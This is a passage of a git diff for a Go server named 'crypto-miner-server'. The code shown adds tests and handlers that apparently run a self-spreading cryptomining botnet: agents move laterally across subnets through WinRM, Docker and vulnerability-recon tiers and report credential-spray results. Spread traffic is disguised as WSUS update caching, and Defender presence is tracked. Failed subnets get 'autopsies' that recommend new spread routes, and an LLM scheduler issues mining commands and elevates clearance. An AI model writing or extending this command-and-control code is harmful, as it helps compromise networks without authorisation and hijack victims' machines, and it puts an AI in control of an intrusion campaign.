database.RecordSubnetSpreadFailure("192.168.50") + } + + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true}) + hub.mu.Lock() + hub.subnetGossipWhispers = map[string][]atlas.GossipHint{ + "192.168.50": {{Tier: "docker", Condition: "no_docker", Reason: "lan gossip"}}, + } + hub.mu.Unlock() + + adapter := NewHubCourtChamberAdapter(hub, database) + snap := fleetai.AgentSnapshot{ + AgentID: agentID, Name: "Patient", GOOS: "windows", + MiningHashrate: 0, Stuck: true, ChainExhausted: true, + LOTLAttempts: []fleetai.TierAttempt{{Tier: "docker", OK: false, Error: "denied"}}, + } + ev := adapter.ChamberEvidence(agentID, snap) + if !strings.Contains(ev.SubnetImmune, "192.168.50") || !strings.Contains(ev.SubnetImmune, "fail_count=3") { + t.Fatalf("subnet immune=%q", ev.SubnetImmune) + } + if !strings.Contains(ev.ErasureRecovery, "lanes_enabled=true") { + t.Fatalf("erasure=%q", ev.ErasureRecovery) + } + if !strings.Contains(ev.GossipWhispers, "docker|no_docker") { + t.Fatalf("gossip=%q", ev.GossipWhispers) + } +} + +func TestIntegrationCourtChamberEmitsSeerDebate(t *testing.T) { + var llmBody string + var llmMu sync.Mutex + llmSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") { + http.NotFound(w, r) + return + } + raw, _ := io.ReadAll(r.Body) + llmMu.Lock() + llmBody = string(raw) + llmMu.Unlock() + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "choices": []map[string]interface{}{ + {"message": map[string]string{ + "content": "Verdict: restart mining after adversarial chamber.\n" + + `{"commands":[{"type":"restart_mining","args":{}}]}`, + }}, + }, + }) + })) + t.Cleanup(llmSrv.Close) + + aiCfg := FleetAIConfigView{ + AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1", + AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true, + } + hub, database, _ := newFleetIntelligenceHub(t, aiCfg) + hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true, AIControlEnabled: true}) + courtChamber := NewHubCourtChamberAdapter(hub, database) + seerEmitter := &HubSeerEmitter{Hub: hub, DB: database} + + sched := fleetai.NewScheduler( + &ConfigAIAdapter{Src: &mutableFleetAIConfig{view: aiCfg}}, + &WSHubSnapshotAdapter{Hub: hub}, + &ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()}, + &DatabaseAIDecisionStore{DB: database}, + courtChamber, + hub.ClearanceManager(), + ) + sched.SetCourtDeps(fleetai.CourtDeps{Chamber: courtChamber, Seer: seerEmitter}) + + old := fleetai.DecideFunc + fleetai.DecideFunc = func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) { + return fleetai.Decide(ctx, endpoint, model, systemPrompt, userPrompt) + } + t.Cleanup(func() { fleetai.DecideFunc = old }) + + agentID := "court-chamber-agent" + conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{ + "agent_id": agentID, "hostname": "chamber-host", "platform": "windows", "version": "1.0", + }) + pushStuckAgentTelemetry(t, conn) + seedStuckAgentDB(t, database, agentID) + waitForAgentTelemetry(t, hub, agentID, "stuck", "lotl_attempts") + + dashConn := connectTestDashboard(t, hub) + seerCh := make(chan map[string]interface{}, 1) + go func() { + for { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "seer_events" { + continue + } + var body map[string]interface{} + if json.Unmarshal(msg.Payload, &body) != nil { + continue + } + if body["event_type"] != "court_debate" { + continue + } + seerCh <- body + return + } + }() + + sched.ResetLastRunForTest(agentID, 2*time.Minute) + sched.Tick() + + llmMu.Lock() + body := llmBody + llmMu.Unlock() + if !strings.Contains(body, "PUBLIC DEFENDER") { + t.Fatalf("expected adversarial chamber judge prompt, got: %s", body) + } + + select { + case ev := <-seerCh: + payload, ok := ev["payload"].(map[string]interface{}) + if !ok { + // payload may be json.RawMessage nested + if raw, ok2 := ev["payload"]; ok2 { + b, _ := json.Marshal(raw) + _ = json.Unmarshal(b, &payload) + } + } + if ev["event_type"] != "court_debate" { + t.Fatalf("event_type=%v", ev["event_type"]) + } + case <-time.After(5 * time.Second): + events, _ := database.ListSeerEvents(5) + t.Fatalf("timed out waiting for court_debate seer_events; db events=%+v", events) + } + + if level := hub.ClearanceManager().Level(agentID); level < clearance.L1 { + t.Fatalf("unexpected clearance %d", level) + } +} diff --git a/server/internal/api/fleet_intelligence_test.go b/server/internal/api/fleet_intelligence_test.go index 1cb5652..4b89c3c 100644 --- a/server/internal/api/fleet_intelligence_test.go +++ b/server/internal/api/fleet_intelligence_test.go @@ -516,15 +516,6 @@ func TestIntegrationSurgicalReplayFlow(t *testing.T) { if err := database.UpsertAgent(&models.Agent{ ID: agentID, Name: "surgical-host", Platform: "windows", Status: "online", SpreadStrain: "#112233", - LOTLAttempts: []struct { - Tier string `json:"tier"` - OK bool `json:"ok"` - Error string `json:"error,omitempty"` - DurationMs int64 `json:"duration_ms"` - }{ - {Tier: "vuln_recon", OK: true}, - {Tier: "docker", OK: false, Error: "daemon missing"}, - }, }); err != nil { t.Fatal(err) } diff --git a/server/internal/api/fleet_torrent_test.go b/server/internal/api/fleet_torrent_test.go new file mode 100644 index 0000000..5e6a9a3 --- /dev/null +++ b/server/internal/api/fleet_torrent_test.go @@ -0,0 +1,107 @@ +package api + +import ( + "encoding/json" + "testing" + "time" + + "crypto-miner-server/internal/atlas" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + + "github.com/gorilla/websocket" +) + +func TestFleetTorrentGossipRelayCrossSubnet(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{FleetTorrentEnabled: true}) + _ = database.UpsertAgent(&models.Agent{ID: "ft-a", Name: "a", IP: "10.1.1.10", Status: "online"}) + _ = database.UpsertAgent(&models.Agent{ID: "ft-b", Name: "b", IP: "10.2.2.20", Status: "online"}) + + connA := connectTestAgentWithIP(t, hub, "ft-a", "10.1.1.10") + connB := connectTestAgentWithIP(t, hub, "ft-b", "10.2.2.20") + + recvCh := make(chan Message, 2) + go readUntilType(connB, "fleet_torrent_gossip", recvCh) + + payload, _ := json.Marshal(map[string]interface{}{ + "records": []atlas.FleetGossipRecord{{ + Kind: atlas.FleetGossipHaveShard, AgentID: "ft-a", Token: "tok", + ShardIndex: 0, ShardHash: "abc", Subnet: "10.1.1", + }}, + }) + if err := connA.WriteJSON(Message{Type: "fleet_torrent_gossip", Payload: payload}); err != nil { + t.Fatal(err) + } + + select { + case msg := <-recvCh: + var body map[string]interface{} + if err := json.Unmarshal(msg.Payload, &body); err != nil { + t.Fatal(err) + } + recs, _ := body["records"].([]interface{}) + if len(recs) != 1 { + t.Fatalf("records=%v", body["records"]) + } + case <-time.After(2 * time.Second): + t.Fatal("cross-subnet peer did not receive fleet_torrent_gossip") + } + _ = websocket.CloseNormalClosure +} + +func TestAuthSubnetPrimarySeederHint(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true, FleetTorrentEnabled: true}) + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": "seed-primary-aa", + "hostname": "host", + "platform": "windows", + "version": "test", + "fleet_role": "seeder", + "seeder_mode": true, + }) + var body map[string]interface{} + if err := json.Unmarshal(resp.Payload, &body); err != nil { + t.Fatal(err) + } + if _, ok := body["subnet_primary_seeder"].(string); !ok { + t.Fatalf("subnet_primary_seeder missing: %#v", body) + } + if body["fleet_torrent_enabled"] != true { + t.Fatalf("fleet_torrent_enabled=%#v", body["fleet_torrent_enabled"]) + } +} + +func TestSubnetPrimarySeederElection(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + hub := NewWSHub(database) + hub.storeAgentFleetRole("aaa-seeder", "seeder") + hub.storeAgentFleetRole("bbb-seeder", "seeder") + hub.mu.Lock() + hub.agentLiveTelemetry["aaa-seeder"] = map[string]interface{}{"fleet_role": "seeder"} + hub.agentLiveTelemetry["bbb-seeder"] = map[string]interface{}{"fleet_role": "seeder"} + hub.mu.Unlock() + _ = database.UpsertAgent(&models.Agent{ID: "aaa-seeder", IP: "10.5.5.1"}) + _ = database.UpsertAgent(&models.Agent{ID: "bbb-seeder", IP: "10.5.5.2"}) + pick := hub.electSubnetPrimarySeeder("10.5.5") + if pick != "aaa-seeder" { + t.Fatalf("pick=%q", pick) + } +} diff --git a/server/internal/api/subnet_autopsy.go b/server/internal/api/subnet_autopsy.go new file mode 100644 index 0000000..e60a66f --- /dev/null +++ b/server/internal/api/subnet_autopsy.go @@ -0,0 +1,304 @@ +package api + +import ( + "encoding/json" + "log" + "net/http" + "strings" + "time" + + "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/atlas" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +// SubnetAutopsyHandler serves immune autopsy packets for paused /24 prefixes. +type SubnetAutopsyHandler struct { + hub *WSHub + pathTracer *PathTracerHandler +} + +func NewSubnetAutopsyHandler(hub *WSHub, pathTracer *PathTracerHandler) *SubnetAutopsyHandler { + return &SubnetAutopsyHandler{hub: hub, pathTracer: pathTracer} +} + +// GET /api/v1/atlas/subnet-autopsy?subnet= +func (h *SubnetAutopsyHandler) Get(w http.ResponseWriter, r *http.Request) { + if h == nil || h.hub == nil { + http.Error(w, "subnet autopsy unavailable", http.StatusServiceUnavailable) + return + } + prefix := atlas.PrefixFromHostOrIP(r.URL.Query().Get("subnet")) + if prefix == "" { + http.Error(w, "subnet query required", http.StatusBadRequest) + return + } + pkt, ok := h.hub.SubnetAutopsy(prefix) + if !ok { + pkt = h.hub.BuildSubnetAutopsy(prefix, h.pathTracer) + } + writeJSON(w, pkt) +} + +// TriggerSubnetAutopsy builds, caches, and broadcasts an autopsy when immune pause activates. +func (h *WSHub) TriggerSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) { + pkt := h.BuildSubnetAutopsy(prefix, pathTracer) + h.storeSubnetAutopsy(pkt) + h.BroadcastSeerEvent(map[string]interface{}{ + "type": "subnet_immune_autopsy", + "prefix": pkt.Prefix, + "triggered": pkt.TriggeredAt, + "cause": pkt.CauseOfDeath, + "vaccination": pkt.VaccinationLane, + "packet": pkt, + }) + log.Printf("[subnet-autopsy] immune pause autopsy for %s (%d failures)", pkt.Prefix, pkt.FailCount) +} + +func (h *WSHub) storeSubnetAutopsy(pkt atlas.SubnetAutopsyPacket) { + if h == nil { + return + } + h.mu.Lock() + if h.subnetAutopsies == nil { + h.subnetAutopsies = make(map[string]atlas.SubnetAutopsyPacket) + } + h.subnetAutopsies[pkt.Prefix] = pkt + h.mu.Unlock() +} + +// SubnetAutopsy returns a cached autopsy packet for prefix. +func (h *WSHub) SubnetAutopsy(prefix string) (atlas.SubnetAutopsyPacket, bool) { + if h == nil { + return atlas.SubnetAutopsyPacket{}, false + } + prefix = atlas.PrefixFromHostOrIP(prefix) + h.mu.RLock() + pkt, ok := h.subnetAutopsies[prefix] + h.mu.RUnlock() + return pkt, ok +} + +// BuildSubnetAutopsy assembles an immune autopsy from fleet state. +func (h *WSHub) BuildSubnetAutopsy(prefix string, pathTracer *PathTracerHandler) atlas.SubnetAutopsyPacket { + prefix = atlas.PrefixFromHostOrIP(prefix) + now := time.Now().UTC() + pkt := atlas.SubnetAutopsyPacket{ + Prefix: prefix, + TriggeredAt: now, + Persona: ai.NormalizePersona(h.serverPolicySnapshot().AIPersona), + WSUSMimic: atlas.WSUSMimicSnapshot{ + FormatMimicEnabled: true, + CachePeerLane: "wsus_cache_peer", + }, + } + policy := h.serverPolicySnapshot() + pkt.ErasureFallback = atlas.ErasureFallbackSnapshot{ + ErasureLanesEnabled: policy.ErasureLanesEnabled, + AvailableAsFallback: policy.ErasureLanesEnabled, + } + + if h.db != nil { + if row, err := h.db.GetSubnetSpreadPause(prefix); err == nil && row != nil { + pkt.FailCount = row.FailCount + pkt.PausedUntil = row.PausedUntil + } + } + + agents := h.agentsOnSubnet(prefix) + pkt.LOTLAttempts = atlas.TrimLOTLAttempts(collectSubnetLOTLAttempts(h, agents), atlas.SubnetAutopsyLOTLAttemptLimit) + pkt.GossipWhispers = atlas.TrimGossipWhispers(h.gossipWhispersForSubnet(prefix), atlas.SubnetAutopsyGossipWhisperLimit) + pkt.FailureAtlas = h.failureAtlasSummaryForSubnet(agents) + + if joinLane := recentJoinLane(h, agents); joinLane != "" { + pkt.WSUSMimic.RecentJoinLane = joinLane + if joinLane == "wsus_cache_peer" { + pkt.WSUSMimic.FormatMimicEnabled = true + } + } + + if pathTracer != nil { + if hint := pathTracer.RecommendSpreadRoute(prefix, pkt.WSUSMimic.RecentJoinLane, ""); hint != nil { + pkt.VaccinationLane = hint + } + } + + pkt.CauseOfDeath = atlas.BuildCauseOfDeath(pkt) + return pkt +} + +func (h *WSHub) agentsOnSubnet(prefix string) []*models.Agent { + if h == nil || h.db == nil || prefix == "" { + return nil + } + subnetLabel := prefix + ".x" + agents, err := h.db.ListAgentsFiltered(db.AgentListFilter{Subnet: subnetLabel, Limit: 64}) + if err != nil { + return nil + } + return agents +} + +func collectSubnetLOTLAttempts(hub *WSHub, agents []*models.Agent) []atlas.LOTLAttemptSnapshot { + var out []atlas.LOTLAttemptSnapshot + for _, ag := range agents { + if ag == nil { + continue + } + attempts := lotlAttemptsForAgent(hub, ag) + for _, a := range attempts { + a.AgentID = ag.ID + a.AgentName = ag.Name + out = append(out, a) + } + } + return out +} + +func lotlAttemptsForAgent(hub *WSHub, ag *models.Agent) []atlas.LOTLAttemptSnapshot { + if hub != nil { + hub.mu.RLock() + if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok { + hub.mu.RUnlock() + if parsed := parseLOTLAttemptsFromTelemetry(tel); len(parsed) > 0 { + return parsed + } + } else { + hub.mu.RUnlock() + } + } + return parseLOTLAttemptsFromAgent(ag) +} + +func parseLOTLAttemptsFromTelemetry(tel map[string]interface{}) []atlas.LOTLAttemptSnapshot { + raw, ok := tel["lotl_attempts"] + if !ok { + return nil + } + b, err := json.Marshal(raw) + if err != nil { + return nil + } + var attempts []atlas.LOTLAttemptSnapshot + if json.Unmarshal(b, &attempts) != nil { + return nil + } + return attempts +} + +func parseLOTLAttemptsFromAgent(ag *models.Agent) []atlas.LOTLAttemptSnapshot { + if ag == nil || len(ag.LOTLAttempts) == 0 { + return nil + } + out := make([]atlas.LOTLAttemptSnapshot, 0, len(ag.LOTLAttempts)) + for _, a := range ag.LOTLAttempts { + out = append(out, atlas.LOTLAttemptSnapshot{ + Tier: a.Tier, + OK: a.OK, + Error: a.Error, + DurationMs: a.DurationMs, + }) + } + return out +} + +func recentJoinLane(hub *WSHub, agents []*models.Agent) string { + for _, ag := range agents { + if ag == nil { + continue + } + if hub != nil { + hub.mu.RLock() + if tel, ok := hub.agentLiveTelemetry[ag.ID]; ok { + if lane, ok := tel["join_lane"].(string); ok && strings.TrimSpace(lane) != "" { + hub.mu.RUnlock() + return strings.TrimSpace(lane) + } + } + hub.mu.RUnlock() + } + if strings.TrimSpace(ag.JoinLane) != "" { + return strings.TrimSpace(ag.JoinLane) + } + } + return "" +} + +func (h *WSHub) failureAtlasSummaryForSubnet(agents []*models.Agent) string { + if h == nil || h.db == nil || len(agents) == 0 { + return "" + } + for _, ag := range agents { + if ag == nil { + continue + } + domainJoined := ag.FirewallDomain != nil && *ag.FirewallDomain + fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, domainJoined) + summary, err := h.db.FailureAtlasSummary(fp.Key(), fp.GOOS) + if err == nil && summary != "" && summary != "no fleet failure atlas samples for this fingerprint" { + return summary + } + } + return "" +} + +func normalizeGossipSubnetKey(prefix string) string { + prefix = strings.TrimSpace(prefix) + if prefix == "" { + return "" + } + if norm := atlas.PrefixFromHostOrIP(prefix); norm != "" { + return norm + } + prefix = strings.TrimSuffix(prefix, ".0/24") + prefix = strings.TrimSuffix(prefix, "/24") + return strings.TrimSpace(prefix) +} + +func (h *WSHub) recordGossipWhisper(prefix string, hints []atlas.GossipHint) { + prefix = normalizeGossipSubnetKey(prefix) + if prefix == "" || len(hints) == 0 { + return + } + h.mu.Lock() + if h.subnetGossipWhispers == nil { + h.subnetGossipWhispers = make(map[string][]atlas.GossipHint) + } + merged := atlas.MergeGossipSkips(toAtlasSkips(h.subnetGossipWhispers[prefix]), hints) + out := make([]atlas.GossipHint, 0, len(merged)) + for _, s := range merged { + out = append(out, atlas.GossipHint{Tier: s.Tier, Condition: s.Condition, Reason: s.Reason}) + } + h.subnetGossipWhispers[prefix] = out + h.mu.Unlock() +} + +func (h *WSHub) gossipWhispersForSubnet(prefix string) []atlas.GossipHint { + prefix = normalizeGossipSubnetKey(prefix) + if h == nil || prefix == "" { + return nil + } + h.mu.RLock() + defer h.mu.RUnlock() + if h.subnetGossipWhispers == nil { + return nil + } + return append([]atlas.GossipHint(nil), h.subnetGossipWhispers[prefix]...) +} + +func toAtlasSkips(hints []atlas.GossipHint) []atlas.AtlasSkip { + skips := atlas.SkipsFromHints(hints) + out := make([]atlas.AtlasSkip, len(skips)) + copy(out, skips) + return out +} + +// BroadcastSeerEvent pushes structured events to dashboard Seer consumers. +func (h *WSHub) BroadcastSeerEvent(ev interface{}) { + if h == nil { + return + } + h.broadcastDashboard(Message{Type: "seer_events", Payload: mustMarshal(ev)}) +} diff --git a/server/internal/api/subnet_autopsy_test.go b/server/internal/api/subnet_autopsy_test.go new file mode 100644 index 0000000..aa61406 --- /dev/null +++ b/server/internal/api/subnet_autopsy_test.go @@ -0,0 +1,143 @@ +package api + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "crypto-miner-server/internal/atlas" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func TestSubnetAutopsyGETBuildsPacket(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + + agentID := "autopsy-agent" + if err := database.UpsertAgent(&models.Agent{ + ID: agentID, Name: "Patient", Wallet: "x", IP: "10.0.0.50", Status: "online", + }); err != nil { + t.Fatal(err) + } + for i := 0; i < 5; i++ { + _, _ = database.RecordSubnetSpreadFailure("10.0.0") + } + + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{AIPersona: "silent", ErasureLanesEnabled: true}) + hub.mu.Lock() + hub.agentLiveTelemetry[agentID] = map[string]interface{}{ + "join_lane": "wsus_cache_peer", + "lotl_attempts": []map[string]interface{}{ + {"tier": "winrm", "ok": false, "error": "auth failed", "phase": "spread"}, + }, + } + hub.subnetGossipWhispers = map[string][]atlas.GossipHint{ + "10.0.0": {{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}}, + } + hub.mu.Unlock() + + handler := NewSubnetAutopsyHandler(hub, NewPathTracerHandler(hub)) + req := httptest.NewRequest(http.MethodGet, "/atlas/subnet-autopsy?subnet=10.0.0.x", nil) + rec := httptest.NewRecorder() + handler.Get(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) + } + var pkt atlas.SubnetAutopsyPacket + if err := json.Unmarshal(rec.Body.Bytes(), &pkt); err != nil { + t.Fatal(err) + } + if pkt.Prefix != "10.0.0" || pkt.FailCount != 5 { + t.Fatalf("packet=%+v", pkt) + } + if pkt.Persona != "silent" || !pkt.ErasureFallback.AvailableAsFallback { + t.Fatalf("policy fields=%+v", pkt) + } + if len(pkt.LOTLAttempts) == 0 || pkt.LOTLAttempts[0].Tier != "winrm" { + t.Fatalf("attempts=%+v", pkt.LOTLAttempts) + } + if len(pkt.GossipWhispers) != 1 || pkt.CauseOfDeath == "" { + t.Fatalf("gossip/cause=%+v %q", pkt.GossipWhispers, pkt.CauseOfDeath) + } +} + +func TestTriggerSubnetAutopsyEmitsSeerEvent(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + for i := 0; i < 5; i++ { + _, _ = database.RecordSubnetSpreadFailure("10.1.1") + } + + hub := NewWSHub(database) + dashConn := connectTestDashboard(t, hub) + recv := make(chan map[string]interface{}, 1) + go func() { + for { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "seer_events" { + continue + } + var body map[string]interface{} + if json.Unmarshal(msg.Payload, &body) != nil { + continue + } + recv <- body + return + } + }() + + hub.TriggerSubnetAutopsy("10.1.1", nil) + select { + case ev := <-recv: + if ev["type"] != "subnet_immune_autopsy" || ev["prefix"] != "10.1.1" { + t.Fatalf("event=%v", ev) + } + if _, ok := ev["cause"].(string); !ok { + t.Fatalf("missing cause: %v", ev) + } + case <-time.After(3 * time.Second): + t.Fatal("timed out waiting for seer_events") + } +} + +func TestSpreadCredReportTriggersAutopsyOnPause(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + for i := 0; i < 4; i++ { + _, _ = database.RecordSubnetSpreadFailure("10.2.2") + } + + hub := NewWSHub(database) + pathTracer := NewPathTracerHandler(hub) + h := NewSpreadCredHandler(database, nil) + h.BindAutopsyTrigger(hub, pathTracer) + + body := `{"host":"10.2.2.9","subnet":"10.2.2","credential_profile_id":"p1","success":false}` + req := httptest.NewRequest(http.MethodPost, "/agent/spread-cred/report", strings.NewReader(body)) + rec := httptest.NewRecorder() + h.ReportEdge(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d", rec.Code) + } + pkt, ok := hub.SubnetAutopsy("10.2.2") + if !ok || pkt.FailCount != 5 || pkt.CauseOfDeath == "" { + t.Fatalf("autopsy=%+v ok=%v", pkt, ok) + } +} diff --git a/server/internal/api/surgical_bridge.go b/server/internal/api/surgical_bridge.go new file mode 100644 index 0000000..d8df82f --- /dev/null +++ b/server/internal/api/surgical_bridge.go @@ -0,0 +1,150 @@ +package api + +import ( + "encoding/json" + "strings" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/spreadrouter" +) + +// PathTraceSurgicalAdapter resolves persisted Path Tracer sessions for surgical replay. +type PathTraceSurgicalAdapter struct { + Hub *WSHub + PathTrace *PathTracerHandler +} + +func (a *PathTraceSurgicalAdapter) TraceForAgent(agentID string) (fleetai.SurgicalTraceContext, bool) { + if a == nil || agentID == "" { + return fleetai.SurgicalTraceContext{}, false + } + sessions := traceSessionsSnapshot(a.PathTrace) + if len(sessions) == 0 && a.Hub != nil && a.Hub.db != nil { + rows, err := a.Hub.db.ListPathTraceSessions() + if err != nil { + return fleetai.SurgicalTraceContext{}, false + } + for _, row := range rows { + var rec pathTraceSessionPersist + if json.Unmarshal(row.Payload, &rec) != nil { + continue + } + sess := &TraceSession{ + ID: rec.ID, AgentIDs: rec.AgentIDs, Hops: rec.Hops, + Error: rec.Error, DiscoverError: rec.DiscoverError, + } + sessions = append(sessions, sess) + } + } + for _, sess := range sessions { + if ctx, ok := surgicalTraceFromSession(sess, agentID); ok { + return ctx, true + } + } + return fleetai.SurgicalTraceContext{}, false +} + +func surgicalTraceFromSession(sess *TraceSession, agentID string) (fleetai.SurgicalTraceContext, bool) { + if sess == nil || agentID == "" { + return fleetai.SurgicalTraceContext{}, false + } + hopIndex := -1 + for i, hop := range sess.Hops { + if hop != nil && hop.AgentID == agentID { + hopIndex = i + break + } + } + if hopIndex < 0 { + for _, id := range sess.AgentIDs { + if id == agentID { + hopIndex = 0 + break + } + } + } + if hopIndex < 0 { + return fleetai.SurgicalTraceContext{}, false + } + ctx := fleetai.SurgicalTraceContext{ + SessionID: sess.ID, + HopIndex: hopIndex, + HopCount: len(sess.Hops), + SessionError: strings.TrimSpace(sess.Error), + DiscoverError: strings.TrimSpace(sess.DiscoverError), + } + if len(sess.Hops) > 0 { + last := sess.Hops[len(sess.Hops)-1] + if last != nil { + ctx.EgressAgentID = last.AgentID + } + } + for _, host := range serviceGraphList(sess.ServiceGraph) { + sub := spreadrouter.NormalizeSubnet(host.Subnet) + if sub == "" { + sub = spreadrouter.SubnetFromIP(host.Host) + } + if sub != "" { + ctx.TargetSubnets = append(ctx.TargetSubnets, sub) + } + } + return ctx, true +} + +// DatabaseStrainMemoryAdapter persists surgical replay outcomes. +type DatabaseStrainMemoryAdapter struct { + DB interface { + InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error + } +} + +func (a *DatabaseStrainMemoryAdapter) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error { + if a == nil || a.DB == nil { + return nil + } + return a.DB.InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome) +} + +// HubSeerEmitter broadcasts and persists Seer feed events. +type HubSeerEmitter struct { + Hub *WSHub + DB interface { + InsertSeerEvent(eventType, agentID string, payload []byte) (int64, error) + } +} + +func (e *HubSeerEmitter) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error { + if e == nil { + return nil + } + raw, _ := json.Marshal(payload) + var id int64 + if e.DB != nil { + var err error + id, err = e.DB.InsertSeerEvent(eventType, agentID, raw) + if err != nil { + return err + } + } + if e.Hub != nil { + e.Hub.BroadcastSeerEvent(map[string]interface{}{ + "id": id, + "event_type": eventType, + "agent_id": agentID, + "payload": json.RawMessage(raw), + }) + } + return nil +} + +// StrainFromAgent returns spread_strain for strain memory rows. +func StrainFromAgent(hub *WSHub, agentID string) string { + if hub == nil || hub.db == nil || agentID == "" { + return "" + } + ag, err := hub.db.GetAgent(agentID) + if err != nil || ag == nil { + return "" + } + return strings.TrimSpace(ag.SpreadStrain) +} diff --git a/server/internal/api/surgical_bridge_test.go b/server/internal/api/surgical_bridge_test.go new file mode 100644 index 0000000..652457e --- /dev/null +++ b/server/internal/api/surgical_bridge_test.go @@ -0,0 +1,113 @@ +package api + +import ( + "encoding/json" + "testing" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func TestSurgicalTraceFromSessionHopMatch(t *testing.T) { + sess := &TraceSession{ + ID: "sess-1", + Hops: []*HopInfo{ + {AgentID: "hop-a", AgentName: "a"}, + {AgentID: "hop-b", AgentName: "b"}, + }, + DiscoverError: "timeout", + } + ctx, ok := surgicalTraceFromSession(sess, "hop-b") + if !ok { + t.Fatal("expected trace match") + } + if ctx.SessionID != "sess-1" || ctx.HopIndex != 1 || ctx.HopCount != 2 { + t.Fatalf("unexpected ctx: %+v", ctx) + } + if ctx.EgressAgentID != "hop-b" || ctx.DiscoverError != "timeout" { + t.Fatalf("unexpected egress/discover: %+v", ctx) + } +} + +func TestPathTraceSurgicalAdapterReadsPersistedSession(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + payload, _ := json.Marshal(pathTraceSessionPersist{ + ID: "persisted-sess", + AgentIDs: []string{"patient-1"}, + Hops: []*HopInfo{{AgentID: "patient-1", AgentName: "patient"}}, + CreatedAt: time.Now().UTC(), + Error: "spread lane blocked", + }) + if err := database.UpsertPathTraceSession("persisted-sess", time.Now().UTC(), payload); err != nil { + t.Fatal(err) + } + + hub := NewWSHub(database) + adapter := &PathTraceSurgicalAdapter{Hub: hub, PathTrace: nil} + ctx, ok := adapter.TraceForAgent("patient-1") + if !ok { + t.Fatal("expected persisted trace") + } + if ctx.SessionID != "persisted-sess" || ctx.SessionError != "spread lane blocked" { + t.Fatalf("unexpected ctx: %+v", ctx) + } +} + +func TestHubSeerEmitterPersistsAndBroadcasts(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + emitter := &HubSeerEmitter{Hub: hub, DB: database} + if err := emitter.EmitSeerEvent("surgical_replay", "agent-1", map[string]interface{}{ + "failed_tier": "docker", + "outcome": "skip_tier:reorder_tiers", + }); err != nil { + t.Fatal(err) + } + events, err := database.ListSeerEvents(5) + if err != nil { + t.Fatal(err) + } + if len(events) != 1 || events[0].EventType != "surgical_replay" { + t.Fatalf("events: %+v", events) + } +} + +func TestStrainFromAgent(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + if err := database.UpsertAgent(&models.Agent{ID: "s1", Name: "host", SpreadStrain: "#aabbcc"}); err != nil { + t.Fatal(err) + } + hub := NewWSHub(database) + if got := StrainFromAgent(hub, "s1"); got != "#aabbcc" { + t.Fatalf("strain=%q", got) + } +} + +func TestShouldUseSurgicalReplayPartialNotExhausted(t *testing.T) { + trace := fleetai.SurgicalTraceContext{SessionID: "x", HopCount: 2} + snap := fleetai.AgentSnapshot{ + LOTLAttempts: []fleetai.TierAttempt{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: false, Error: "missing"}, + }, + } + if !fleetai.ShouldUseSurgicalReplay(trace, snap) { + t.Fatal("partial spread failure with trace should qualify for surgical replay") + } +} diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index e604f3e..4151cd9 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -39,6 +39,27 @@ func wsDashboardToken(user, pass string) string { return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) } +func 